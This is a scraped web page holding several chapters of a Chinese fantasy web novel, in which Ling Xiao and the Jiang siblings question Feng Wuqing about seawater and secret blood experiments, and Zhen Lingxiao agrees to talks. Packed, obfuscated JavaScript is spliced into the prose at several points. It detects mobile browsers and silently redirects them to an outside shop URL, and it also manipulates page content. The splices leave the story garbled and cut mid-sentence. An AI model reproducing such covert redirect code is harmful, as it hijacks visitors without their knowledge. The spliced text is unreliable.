l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13017296|128167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 选择，没有人能够指责她的家人是拖累。 “没错！”江云光附和着哥哥说道，“这明明就是你们移翠院人心不足蛇吞象的问题，还要怪罪到我哥哥身上，那也太过分了！” “我明明是好心提醒你们。”冯舞清无奈地摇了摇头，“再这样拖延下去完全没有意义。毕竟谁知道你们费尽心思维护着的人身上——” 她故意延长了自己的声调：“有没有携带着海水？” 海水一词在墨水五区的封闭环境之中无异于耳边惊雷，刚刚巡查完周围情况赶回来的江冥蝉与江云光如她所愿露出了震惊的表情。 立刻从树上跳下来的江冥蝉眯起了自己的眼睛，逼问道：“你说什么？” 江云光则是开始观察江云章的表现，好推断冯舞清的话语究竟有没有混合着谎言：“舞、冯舞清是在骗我们吧！” 被目光集中的本人只是淡定的皱起了眉头，并没有反驳冯舞清的意思：“你们是故意的。” 他原本还在疑惑同位体小心翼翼的举动到底被谁透露了出去，随后很反应了过来。无法接触到海水区的同位体唯一能够取得海水的地方，自然只有研究他身体状况的移翠院。 凌霄扯了下江云章的袖子，于是他立即反应过来现在不是自己推理的场合，连忙开始安抚情绪不稳定的哥哥和妹妹：“我现在身上没有携带海水了，你们两个放心。移翠院偷渡给我的东西早就被我在进入墨水区之前扔掉了。我向你们保证我现在身上携带的全部都是保命用的仪器，决无半点虚假。” 他在当天于刀赤城同位体身体里醒来之后，就立刻检查了一遍自己身上携带着的东西整理信息。在从记忆中得知一个透明玻璃瓶中的淡蓝色液体能够杀死自己之后，他当机立断就把这瓶完全不珍贵的海水给扔进了垃圾桶。 江冥蝉没有那么容易糊弄。他纯红色的眼瞳里写满了怒气，因为他很快从二者的言语中意识到江云章确确实实有一段时间随身携带着能够威胁自己性命的海水。而他们江家人，包括江云天都对此一无所知。 江云章立刻开始推卸责任并控诉道：“这完全都是移翠院的阴谋，不然我这个珍惜实验材料怎么可能接触到一滴就能让我死亡的危险品？他们肯定早就有了要我去死的计划，所以才蒙骗我让我携带海水，顺便还能在捅出这件事情的时候离间我们。” “等回家了我再收拾你。”江冥蝉勉强冷静下来，恶狠狠地瞪了江云章一眼：“我为你在墨水五区这个糟糕的地方待了那么久，你要是敢死了，你就等着吧。” 江云光没有找哥哥的麻烦，她很清楚这完全是冯舞清抛出来动摇他们心情的事实。她只是有些责备自己由于逃避内政逃避麻烦的事情，从来没有过多关心过哥哥的心理状态，才一直没能注意到哥哥竟然随身携带过那么危险的东西。 凌霄皱着眉头看向冯舞清：“你还有什么想说的就说了吧，我可不信你千里迢迢赶过来只是为了离间他们三个。” 81. 080 冯舞清对与凌霄的交流抱着十二分的热情。虽然江云章早就已经遗弃了随身携带的海水瓶实在是一件令人感到遗憾的事情，没能成功让自己眼前的三人露出更加动摇的情绪。不过至少没有预料到的变数意味着这场游戏会变得更加有趣。 “当然不是为了离间和我那么要好的江家人了。”冯舞清语气真诚地说道。只可惜她此刻被漆黑的绷带缠住了空无一物的眼眶，导致没有眼睛能为她的话语再增添几分虚假的可信度。 “我可是来帮你们的。毕竟我和何伟铭不属于同一个阵营，否则肯定会和他一同前来验收成果。”冯舞清继续为自己的身份辩解道，“而且我还是孤身一人前来的。没有携带任何危险武器和海水，刚见面开口第一句就是打招呼，难道不足以证明我的友好吗？” “你自己心里最清楚你在想些什么。”凌霄与江云章对视一眼，决定从冯舞清身上撬到更多情报，“光是你眼睛的问题就已经证明了你的不可信任。我可不知道现代医学什么时候出现了剥夺人形幻象眼球的技术。” 严格意义上来讲，冯舞清没有做出任何一件背叛了江家的事情。不论是针对江云章性命的计划还是亲自逮捕江云章去往海水区，她都没有参与，还适时将一部分情报通过江云光传达给了江云天，并且帮助对方清理了涤墨教的残余。作为一个真实阵营不明的双面间谍，她最多不过是对某些情报知情不报而已。按照她自己的逻辑，确实很难真正将她当做已经彻底撕破脸皮的敌人。但也更难对她交付信任。 “进化自己的视觉是我的终极目标，所以在墨水区中我也没有放弃努力。”冯舞清坦然解释道，“我还没有尝试过在残缺一部分人形幻象的情况下进入墨水五区，所以我决定在自己身上进行这个实验。毕竟高能量浓度的环境出现什么奇迹都大有可能。” 凌霄很快判断出了这是谎言。涉及到眼睛的问题，冯舞清越迅速回答，就越说明这些词句无法牵动她的心情，并非真实状况。或者这个实验只是冯舞清的目的之一。 像是察觉到了凌霄的迟疑与不信任的态度，冯舞清露出一副恍然大悟的表情：“我明明说的实话你们怎么还不信？……我知道了，你们是还不清楚林语莲和江云章身上变异的源头吧。他们两个人身上的血液都是在墨水五区得到的进化，我的道理是有实际考证和案例的。” “所以你希望我们将你留在墨水五区当做俘虏？”凌霄完全没有被冯舞清的道理带着走，很快开始揣摩对方的真实意图。 “我本来就懒得参与和江云章有关的事情，除了自己的眼睛也什么都不在意。”冯舞清将自己描绘成了一个心无旁骛研究人形幻象，并为了科学献身的形象，“我们这样的交易岂不是皆大欢喜？你们既能够确定自己少了一个敌人，我也能够安心应付差事，确保自己在墨水五区里停留足够的时间。而且我一击就被凌霄放倒了，现在又被捆着。一点威胁力都没有呀。” 大概是意识到三人之间的离间没有得到什么良好效果，冯舞清中途转为了放低姿态寻求合作。她向来有根据自己心情转变立场的前例，这样突如其来的示好似乎也就不足为奇了。 看来她需要在这里等到何伟明出场。 凌霄可不认为醉心于眼睛视觉研究的冯舞清会对江云章身上的实验毫无兴趣。否则冯舞清一定会玩忽职守随意看戏，根本不会在上次组队时一见江云章的状态不符合自己的一贯印象，便在战斗中冒着受伤的风险验证江云章的身份。实际上冯舞清的敏锐感官也并未出错，出现在同位体身体中的现代社会江云章确实已经不是过去的那个他。 而且冯舞清提到的血液也印证了冯舞清的眼瞳实验需要江云章身上的数据。毕竟有关血液的研究，到头来还是能够与血液共存且拥有心脏与心跳的江云章最为权威。 “我可讨厌表里不一的何伟铭了，所以当然是站在你们这边，绝对不会帮那个滑稽的家伙的。”冯舞清极力证明自己的阵营，“留着我在这里还能帮你们对付何伟铭呢。” 从她对何伟铭的称呼也能看出来她与对方的关系确实很糟糕。因为一向喜欢用外号称呼旁人的冯舞清对何伟铭从来都是直呼大名。但单纯对人品的厌恶并不能代表任何事情。至少何伟铭的研究成果和资料冯舞清绝对是查看过，也是需要的。 凌霄倾向于留着她放在身边，好明面上直接防备她在何伟铭出现之后的后手。否则现在将她交给刀赤城的人员，很有可能在中途发生问题，导致他们失去冯舞清的动向，陷入被动的境地。凌霄的直觉告诉她冯舞清消失了的眼球是十分重要的东西，绝对不能放松警惕。 因此她也提出了自己的条件：“如果你用甄令满和何伟铭的情报作为交换，那么我们就同意将你留在墨水五区。大家也没有意见吧？” 江家的另外三人对凌霄代替他们做主意没有任何意见。暂时负面情绪上头的江冥蝉到现在依旧是怒火中烧的状态，他很清楚自己现在无法冷静下来做出有用的决定，因此放心地将其交付给了足以信任的凌霄。 “没有意见。反正冯舞清现在这个状态也掀不起什么风浪。”江冥蝉瞥了眼球残缺的冯舞清一眼，语气有些不屑。 他对主动伤害自己人形幻象完整性的冯舞清没什么好感，因为他很清楚作为异类的江云章承受着旁人怎样的眼光。他无法理解一个健全的魂书族究竟为何非要与自己作对，做出这样愚蠢的事情。 而江云光和江云章自然更无异议，只是安静地聆听着两人的交谈，并戒备着周围的环境。 “只是一个条件换两个人的情报也太多了吧？”冯舞清神情不变开始讨价还价。她完美克制住了自己的表情变化，使得她在听到甄令满这个名字时没有做出任何可疑的举动。 “我倒觉得正好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13034875|128167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凌霄扬起头向着石玄城的方向看了一眼，“下一位要进入墨水五区的敌人必定是他们两个人中的一人，我肯定要未雨绸缪，关于他们的消息越多越好。而且我想冯小姐对于自己的两位同僚，一定非常了解吧？” 冯舞清无法确定凌霄究竟是从何渠道知晓了关于甄令满的消息，继续保持着自己疑惑的表情：“可我与火药先生只是偶尔组队一起进墨水区完成任务的普通关系，除了他喜欢研究武器之外，实在是不知道别的事情了。” 凌霄看了眼江云章正在描绘的景象，调整了一下自己的心情来应对冯舞清：“如果你坚持的话，也可以只说何伟铭。不过对于何伟铭的消息我们已经知道了太多，如果你提供的价值不够，可能还是要请你作为手下败将，立刻离开墨水五区了。” 冯舞清略微思索之后，给出了另外的答复：“移翠院在研究陷入瓶颈很长一段之间之后，得到了林语莲的珍贵资料。她身上发生的奇迹般的转变成为了印证血墨互换的有利证据。此后她培育出来拥有心脏的婴儿对在黑暗中前行了数千年的魂书族而言，无异于散发着辉光代表着希望的灯塔。只要追逐着光的痕迹，我们就能够找到真正的太阳。” 冯舞清用极为平淡的语气说着对移翠院而言创世般的研究成果：“自古以来，大陆上只有两种生物。代表着灵魂没有肉|体的海兽，代表着肉|体没有灵魂的墨兽。而魂书族则是空有灵魂只能模拟出肉|体存在，最为接近古完美生命体古人类的种族。海水区作为灵魂的诞生之地会自然而然吸纳灵魂，导致魂书族的衰败加重。而墨水区作为肉|体的诞生之地，会孕育出灵魂不足被本能所掌控的肉|体。” “墨兽在接近人类居住地会发狂是由于没有灵魂的躯体对灵魂的渴望，自然而然催生出了躯体的肉|体化。这也是血兽会疯狂攻击魂书族的根本原因。江云章的存在印证了魂书族千年来进化的最终目标。他拥有灵魂也拥有血液，只是为了保持生命维持在了一种相对平和的状态。如果他像是那些墨兽一样靠近海水区，通过灵魂体激发血液肉|体化，那么他就有最大可能性成为这个世界第一个完整的生命体。拥有灵魂且拥有肉|体。” 冯舞清表情淡定为自己的长篇大论做了一个总结：“这就是何伟铭研究了那么久以来得出的结论。” 她对除了眼瞳以外的研究毫无兴趣，因此对所谓的第一个完整生命体嗤之以鼻。 “但你们给出的研究结论是他很大可能会在接触到了海水区之后会死亡。”江冥蝉抱臂质疑道。作为与移翠院一直拥有合作关系的江家，他对冯舞清的长篇大论自然享有知情权。 “毕竟完整的生命体没有那么容易进化，不然魂书族这样记录下了过去完整躯壳的种族也不会数千年都没有诞生出一个新生命了。”冯舞清摇了摇头，“至今以来移翠院所有的墨兽全部进化失败，没有一例成功案例。” 82. 081 “因此你们推测即便是哥哥，也无法在灵魂与肉|体融合下进化成新生命。”江云光握着自己的剑柄，遥遥注视着冯舞清，“这是我们早就知道的事情，并不能成为交易的对象。” 冯舞清胸有成竹，没有露出丝毫动摇，继续自信地说道：“别急啊云光，我的话还未解释完呢。经过移翠院多年以来的研究以及林语莲死亡的案例，我们得出的结论是江云章的灵魂不足，无法支撑他完成生命完整化。魂书族的人形幻象本就是为了补足一部分血肉而形成的完整躯壳，可惜的是江云章作为生来便拥有血液的人，人形幻象诞生出了心脏，转换了一部分灵魂的强度。使得他的灵魂比起普通魂书族成年人还要弱上几分。” 凌霄若有所思开始观察起江云章的状态。 正在分神通过绘画来平息自己情绪的江云章一个不留神差点用自己的笔戳破画布，只能心有余悸暂时停止了自己手上的动作。他装作也对冯舞清话语内容感兴趣的模样，这才没有对凌霄的目光做出什么奇怪的反应。 由于他对刀赤城以及这个世界的归属感并不强烈，大部分时间都在劝阻同位体不要随意牺牲自己的性命。因此在确定自己暂时安全的情况下，他依旧沉浸在与凌霄相认的愉快之中。甚至绘画都只是他为了让自己显得镇定一些的道具。 “海水只是一种催化剂，转化为灵魂能量的速度肯定不及血墨互换的速度，他的身体在接触了海水以后，体内的血液会被刺激到立刻活跃起来吞噬灵墨能量，而灵魂本就不足会导致体内彻底失衡，随后加速进入那些失去理智墨兽的状态。” 冯舞清此刻视觉尽失，再也看不到众人脸上的表情。但她能够从听觉和感官上察觉自己面前的四人此刻一定是认真聆听着自己话语的状态。她对自己的进展还算满意，因此即便是处在见不到一丝光明的黑暗之中，也生出了几分愉快。 她故意在说到江云章会遭遇的危险事情时停顿了片刻，只可惜几人过于冷静，她没能得到什么想要的反馈。 “这种时刻，就不得不感叹我们魂书族的伟大了。”冯舞清表情遗憾，没有再故弄玄虚卖关子，“我们与墨兽最大的不同便是我们拥有人形幻象，这也是锁定了魂书族躯体的一个重要因素，使得我们能够用正常的状态迎接必将到来的衰败死亡，随后躯壳分解留下本体魂书。因此作为魂书族的江云章并不会变成没有理智只会扩散灾难的血兽。” “至于他身上可能会发生什么，那就是我希望与你们交易的内容啦。”冯舞清笑眯眯地表示自己免费的情报到此结束，“其中包含了一部分林语莲女士的研究，我也是花了一部分代价千辛万苦才拿到的东西，可不能就这样白白送人了。” “林语莲女士作为江云章的生母，她的研究资料若是有继承人也应该是江云章吧。”凌霄的表情并无动摇之色，“你们在对方死去之后还要将这些与她的孩子隔离，不觉得自己有些太过贪心了吗？” “我也觉得呢，凌霄要骂就骂移翠院好了。”冯舞清点头赞同，“和我一点关系都没有哦。毕竟我不属于江云章的医疗团队，与何伟铭也不是上下级的关系。能够得到这些知识完全是靠着我自己的本事。” “移翠院许诺江家会帮助江云章适应自己的身体并保住他的性命，原来你们一直以来就是这样欺上瞒下的啊。”即便已经清楚移翠院的所作所为，江云光依旧没有忍耐住自己的情绪，“还好姐姐和母亲早就开始计划要和你们解除合作了。” 由于江云章的默认，江云光此前一直以为哥哥只是由于身体特殊需要经常去移翠院治疗身体，从未多想。直到最近移翠院与刀赤城发生冲突，才意识到他们一直以来向自己隐瞒了这么多事情。 但她更清楚现在并不是找自家人算账的时候。要怪只能怪嫌弃内务和杂事麻烦，一心只钻研战斗，连家人身上的事情都没能发现的自己。 “但是相关研究有林语莲女士和白纸先生本人的授意，就算江家不允许，也没有什么用吧？”冯舞清十分有底气地说道，“白纸先生可是同意了所有与血液的相关研究的。” 已经翻看完相关记忆的江云章在众人的目光下有些不自然的点了点头：“……毕竟这是江家收养我的目的，也是我生母创造出我的目的。我没有拒绝的理由。” 刚才还在嘲笑他心里只想着凌霄的同位体由于心虚，现在已经如同不存在一般的安静。 冯舞清粲然一笑：“我说得没错吧？所以剩下有关于林语莲女士的消息，作为情报已经够格了吧？这些消息可是重中之重，我敢保证不止江家和白纸先生不知道，就算是现在崭露头角风头正盛的叶医生都不知道。” 凌霄没有立刻回答她的话语，而是看向了江云章：“事关你的母亲，交给你决定也最为妥当。” 何伟铭的情报对他们来说已经知晓了差不多百分之九十，之所以用他和冯舞清交换也主要是想要多几重保险，还有增加冯舞清选择透露甄令满消息的概率。倘若能够换到林语莲女士的相关信息，倒是稳赚不赔。 无论是同位体还是江云章都拒绝不了这个机会。他们实在是对于已经从自己记忆里消失的生母拥有太多好奇，也实在是思念那个人早已经消散的背影。在同位体的默认下，江云章做主应下了这个交易：“我同意了。” 他握着自己的画笔，在过于剧烈的心跳声中，牢牢盯着距离自己不远处有些狼狈的冯舞清。 “我就知道白纸先生是个爽快的人。那么我也就遵从契约精神，对关于林语莲女士的情报无言不尽啦。”冯舞清十分满意地说道，“白纸先生接触海水后可能发生的事情之所以会扯到林语莲女士，自然是因为她是上一个体内拥有血液且为了研究主动赴死的人！” 冯舞清特意加重了自己的语气，用来表示自己对前辈的尊敬：“关于血兽以及魂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13047196|128167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书族死亡的研究，实在是前无古人后无来者！真可惜那时候我没能和林语莲女士共同工作，否则我能少走多少弯路！有这么一位愿意无私奉献还天赋异禀的同事实在是太令人羡慕了。何伟铭说到底也不过是拾人牙慧的家伙。” “请讲重点。”凌霄打断了冯舞清的情绪抒发。不用想就知道冯舞清正在故意拖延时间，因为对方大概很期待江云章能够露出什么有趣的兴趣波动，因此刻意为这位主角的情绪酝酿留出了足够的时间。 “好的好的。”冯舞清满口答应，“林语莲女士似乎在创造出白纸先生以后终于意识到了自己创造出了什么样的生命。白纸先生体内的血液注定了他的与众不同，很可能衰败时也与正常的魂书族截然不同。林语莲女士认为自己作为创造者，需要对白字先生的一切负责，包括让对方无忧无虑的离开这个世界。因此她决定用自己的死亡作为一场实验的开端。有了她在前，为白纸先生遗留下来的实验数据足够长大后的白纸先生自己选择自己的命运。” “虽然移翠院对外宣称林语莲女士得了不治之症，由于墨水五区的后遗症才很快离世。但实际上这是林语莲女士在体内血液浓度急速上升后的主动赴死。她在联系好江家将白纸先生托付出去以后，用自己相对而言含量较少的血液作为引导，进行了一次魂书族含血液特殊人形幻象死亡的秘密实验。实验结果是她以人形幻象衰败的模样达成了正常的死亡结果，即便最后她体内的血液含量达到了血兽的标准，她也依旧以人类的姿态死去了。” 这才是何伟铭为何能够心安理得开始研究江云章尸体该如何分配的原因。因为他早就已经通过一场数年前的实验，知晓了江云章在死后一定会拥有完整的人类尸体，而不是发生其余危险的变化。 “由于林语莲女士身上得到了非常可观的数据，才导致了白纸先生身上实验的进度飞速，很快就引导白纸先生正确进化出了最重要的心脏。”冯舞清长篇大论了半天，终于得到了自己所希望的负面情绪变化，语调也立刻变得轻松起来，“再加一条附送消息，白纸先生死亡，对移翠院来说也有相应的研究价值哦。” 冯舞清勉强收敛了一下自己嘴角荡开的笑意。因为她已经精准地感知到了江云章沮丧而悲伤的复杂情绪。只不过她的面部依旧朝向着凌霄，希望能够感受到自己所期待的动摇。 然而她的目标依旧保持着分外平静的情绪。 在意识到冯舞清与自己旧识之间的区别之后，凌霄便已经调整好了自己的心态，以客观的态度冷静分析冯舞清话语的缘由以及她的终极目标。冯舞清与这个实验之间的纠缠比凌霄所想象的还要深刻，应该还有不少冯舞清尚未提及的细节掩藏着与她眼瞳相关的秘密。 她抬手拍了拍江云章的肩膀，算是安慰对方起伏不定的情绪，思绪却已经飘到了极远的地方。 难道冯舞清也在算计江云章的尸体？ 83. 082 凌霄飞速转动着自己的大脑。 由于人形幻象仅仅只是幻象，即便受伤也并不代表灵魂本体受损，因此冯舞清对自己眼球做出的许多攻击手段都没有得到任何正面反馈。对方体内的灵墨能量依旧会不自觉修复受损的眼球，使得一段时间以后冯舞清的眼球便可以再生。 她望着冯舞清眼眶处缠绕着的黑色绷带，不自觉露出了有些严肃的表情。 即便是现在，冯舞清的眼眶处应该也处于恢复途中。灵墨能量会沿着灵魂中无法消融的痕迹填满她的眼眶，重新构筑出眼球的存在。由于眼球仅仅只是灵魂投影，并不承担实际上的作用，因此冯舞清依旧拥有被自己嫌弃万分的视觉，真正遮挡住她视线的反而是她缠上去的不透光黑色绷带。 作为曾经听冯舞清抱怨过重复毁坏眼球究竟是一件多么痛苦事情的人，凌霄很清楚对方现在应该正在被躯壳重新生长出来的疼痛所折磨。然而她面前正在为达成交易而开心不已的人只是开朗地笑着，丝毫没有显露出分毫自己现在所承受着的痛苦。 可惜墨水五区的能量场过于混杂，甚至削弱了一部分凌霄的感官，导致凌霄无法正常判断冯舞清的眼球到底有没有在正常生长。若是没有，倒是能够佐证对方眼球上的蹊跷。 冯舞清即便再喜欢反复横跳欣赏旁人上演的戏剧，都拥有正常的智商，不会在玩闹时把自己的性命也搭上去。在何伟铭与移翠院收网以及她觊觎着江云章身上奥秘的情况下，冯舞清绝无可能在这种大概率涉及她眼睛的关键时刻掉链子。 一定有什么自己还没有察觉到的细节。 凌霄用上鄢眀济送给自己的隔音设备，凑近了还在等待同位体恢复心情的江云章：“我觉得冯舞清的眼睛没有那么简单，你知道你现在的躯体和眼睛有什么牵扯吗？” 江云章立刻开始调动自己全部的脑细胞回忆实验中的细节：“我认为应该没有。否则冯舞清应该早就加入何伟铭的研究团队，而不是一直游离在外了。不过她这样尽心尽力地监视我，确实有些不同寻常。” 自己身上一定是有利可图才会让冯舞清做出现在的举动。可是那份利究竟是什么？同位体的血红的眼睛只是本质的一种体现，一直以来实验了多少次都无法改变这个配色。除此之外江云章实在想不到自己身上与眼睛相关的事情。 “那么你的体质除了感官更加敏锐还有什么方面的加成？”凌霄尝试按照冯舞清的思路去理解，“冯舞清的重点不在于失去眼睛，而是改变眼睛或是进化视野。” 江云章下意识总结道：“伤口迅速恢复、不惧怕血液攻击、灵墨吸收速度稳定、能够控制血液走向……” 凌霄迅速提取到了关键词：“伤口恢复速度？是了，你确实是可以受伤的。你受伤与普通魂书族有什么区别？” 她的直觉告诉她这就是能够解开冯舞清动机的最为关键性问题。 “会流出比一般魂书族颜色更加深的暗金色灵墨液体。由于我能控制体内的血液位置，因此也能够控制受伤时流出的灵墨中血液的浓度，通过变化让自己的伤口看上去更加正常。”江云章配合地详细解释道，“一般情况下我会让血液汇聚在心脏处，也是最为安全的地方。由于我的体内的血液浓度已经固定，能够自产自销，所以不会发生像是血兽那样削去血|肉就会减少肢体……” 正在侃侃而谈的江云章话语一顿，意识到什么以后正对上凌霄闪闪发亮的眼瞳。迅速找到突破口使得她看上去瞬间信心大增，嘴角已经挂上了胜利的微笑：“原来如此。” “原来如此。”凌霄自然丝毫没有注意到已经看呆了的江云章，迅速完成了自己的推理，“少量的血液实际上能够通过转移部位从而从自己的身上剔除。同时占据了灵魂与肉|体的部位由于其完整性，会顺利脱离主体。这应该是现在为止可操作性最大的安全毁坏魂书族一部分灵魂的方法。冯舞清就是盯上了这个，试图永久销毁自己的眼球。” “不，不止是冯舞清，我们还有另外一个同伴，正在进行途中。”凌霄脸上挂着舒心的微笑，已经彻底思考完毕究竟用怎样的方式来解决墨水五区的不速之客。 她带着笑脸看向江云章，话语里满是信任和激励：“保护好刀赤城江云章身体的任务就交给你了，我相信你一定能完成。” 她对于做带队首领已经拥有了数不尽的经验，因此才能以最快的速度成为四个队友中掌握话语权的那一位。连江冥蝉都不自觉听从她的指令，信任她的判断。因此她自然清楚用怎样的语言能够让本就敬仰着她的江云章发挥出百分之二百的干劲。 “好的！”江云章立刻恶狠狠地点头称是，“我一定不会辜负你的信任，绝对会拼尽全力保护好同位体的身体！绝不让他留下一滴血！” 凌霄收回了隔音晶体，不再顾忌冯舞清的存在，当着众人的面直接拨通了自己的通讯器。 由于是公放状态，通讯器的提示音传入了在场每个人的耳朵中。另外几人虽然猜不透凌霄此举的目的，单依旧尽职守则专心致志监视着周围的情况。 铃声响了好几秒才被人接起，不过不等对面的人开口说话，凌霄便先一步传达了自己的目的：“甄令潇，我知道你现在正在赶往墨水五区的路上。我有一件十分重要的事情告诉你，希望你也能拿出诚意收起自己的武器，和我们商讨得到满意的结果。” “哈？！”通讯器另外一段暴躁的声音由于主人的音量过高，显得分外刺耳，“杜凌霄你在说些什么！” “我可没有在和你开玩笑。”凌霄的平静与甄令满的暴躁情绪形成了鲜明的对比，更加衬托得对面没有丝毫耐心，“我以为甄令潇这个名字就已经说明了我的诚意。” “你是从哪里知道这个名字的！你做了什么！”甄令满的声音听起来已经被彻底激怒，甚至没有办法正常分析凌霄话语中的含义。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13057770|128167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我知道你能听到，甄令潇。”凌霄丝毫不受影响地说道，“我正在十分严肃地和你讨论合作问题，希望你能让你不靠谱的哥哥暂时安静下来。” 通讯器另一端只传来一阵沉默。 “好的，我知道你现在是默认了。”凌霄满意地继续说道，“你不擅长赶路，可以慢一点进入墨水五区与我们商讨后续。与血液相关最权威的研究最后还是掌握在我们手里，无论是何伟铭还是刘应水都不可能向你们毫无保留传递正确信息。我不知道你那个愚蠢的哥哥到底被那两个人骗到了什么地步，但我必须告诉你灵魂分裂对于魂书族而言意味着舍弃一部分存在，十分危险。” 通讯器依旧只是以沉默作答，人形幻象不承担任何生命活动，因此也没有呼吸声传递过来。 “我想说的就是这些，剩下的等你到达目的地以后再与你详细讨论。记得收起你的武器，我们不是敌人。” “……我知道了。”与先前暴躁声线听起来截然不同的嗓音轻轻说道，微弱到几乎低不可闻。若不是开了公放，可能连凌霄都很难察觉到这种程度的音量。 对面的人显然已经整理好了自己的情绪，一改听不进凌霄话语的状态，冷静且富有条理地说道：“我会按照原速度在大约一天之后与你们相见。届时我会收起自己的武器，保持安全距离与你们沟通。希望你也能仔细考虑，找到更加有用的条件来说服我改变自己的想法。” “希望我们都不会浪费彼此的时间。” 甄令潇面无表情说完，果断地挂断了通讯。 已经丧失身体掌控权的甄令满依旧在脑内十分不甘心地大声叫嚷：“前面一定是陷阱！潇潇你绝对不能被杜凌霄那个看上去脑子就很好用的家伙骗了啊！她一定是在驴我们！绝对！先前在同一个队伍里的时候她就什么都知道样的，连武器都能和你聊那么久，甚至还能和我说上几句！这绝对是她早有预谋！我就知道！她不安好心！” 甄令潇低下头，在通讯器屏幕的反光中看到了自己的脸。 微微下垂的红黑眼瞳与无精打采的眼神使得这张原本看上去分外张扬的脸，在此刻显露出几分颓废与慵懒。仅仅只是轻微的表情变化，便将这张帅气脸庞上所有的锋芒毕露与张扬之感全部消融，只剩下半死不活的颓丧，看上去好像下一秒就要睡着了。 甄令潇试探性伸出自己的脚，开始在杂草丛生的环境中赶路。她很快就掌握了能够最大程度节省体力的方法，原本有些歪斜的步伐也因此得到了有用的调整。 脑内的声音依旧没有停歇：“让我来啊！让我来！潇潇你都这么累了让哥哥来赶路吧！你不是还没有休息好吗？你慢点慢点呀！杜凌霄都说了不急可以让你慢慢走了，你可千万别累着自己了！” 甄令潇终于在挂断电话后，说出了搭理甄令满的第一句台词：“你到底是在夸她？还是在骂她？” 甄令满：“……” 84. 083 “我、我当然是在骂她了！”甄令满立刻嚷嚷道，试图加速自己的语速好掩盖自己话语中由于心虚造成的刹那停顿。 “真的吗？”甄令潇冷静地回问，很快就由于体力不支开始放慢了自己的步速。她皱着眉头打量了一番自己周身的环境，将背上的背包随便找了一个空地放下，并从中取出了一柄造型简洁却富有金属美感的能量发射器。 她保持着不紧不慢甚至还有些拖沓的步调，但手上的动作却并不算慢，很快就从能量武器上拆解下了一个能够探测周围能量波动的显示器。有了仪器和自己感官的提示，她很快在脑海中构筑出了自己需要的结构图，随后开始计算所需要的材料。 在她脑海内一直没有安静下来的甄令满此刻依旧没有轻易妥协：“真的！我可讨厌杜凌霄了！我们不可以相信杜凌霄的话！” “哦。”甄令潇反应平静，语气不咸不淡地应了一声。她已经计算好了自己所需要的材料，于是将自己的背包推倒，费力地扒出其中堆积在一起的新型武器，开始挑挑拣拣通过拆卸来筛选自己所需要的材料。 这些武器原本是她为了保证甄令满在墨水五区内部的安全而研发出来的，她与自己的兄长都没能预料到中途会发生突发情况，以至于现在由甄令潇掌管这具躯体。 与力气大到使不完的甄令满不同，甄令潇就算是在零负重的情况下走路都会觉得劳累不堪整个人快要昏厥，更别说是在危险的区域背着一大堆重量巨大的武器了。因此她在走了几步以后便立刻宣布放弃，干脆利落决定对自己的拖累们进行组装，好让自己能够安全顺利进入墨水五区。 至于见到杜凌霄之后可能还需要用到这些武器之类的事情，便完全不在甄令满的思考范围之内了。她实在是懒得考虑那么长远之后的问题，只想先解决当下该死的负重。反正就算失去自主研发的武器，她也依旧拥有书页武器保命，不会落到手无寸铁任人宰割的下场。 见甄令潇根本不相信自己，甄令满倍感尴尬，一时之间竟不知道该如何接话。这片刻的空白也终于让他的情绪得到了平息，使得他后知后觉意识到了自己刚才实际上一直在给冷静的妹妹拖后腿。 “对不起啊潇潇。”甄令满立刻诚恳地道歉，“我不是有意的。我就是刚才没能收住我这个烂脾气。主要是杜凌霄说刘应水他们骗我，我太生气了。而且我都把你带进这么危险的墨水区了才知道这件事……都是我的问题。” 他越说越自责，再一次对自己完全转不动的脑子感到愤怒。 “嗯，我知道。”甄令潇的情绪根本懒得因为哥哥死不悔改的脾气产生波动，所以平和接受了对方的道歉，手上拆解武器的动作也没有耽搁。一心二用对于她这样身份尴尬的人来说，几乎可以说是必备技能了。 “一切都还没有到完全无法挽回的地步，否则杜凌霄也不会和我们联系了。”甄令潇熟练地安抚自己哥哥的情绪，“既然她愿意合作，就说明我们对她也还有利用价值。我相信她的人品，应该也不会太为难我们。毕竟我们目前为止既没有对江云章动手，也没有协助何伟铭。” “嗯嗯，还没有那么遭。”甄令满连连赞同，“其实我就是一时间没有转过弯，有点迁怒而已。还好没有直接失去理智去骂杜凌霄。” “你终于承认你刚才不是在骂她而是在夸她了？”甄令潇嘴角扬起微弱的笑意。 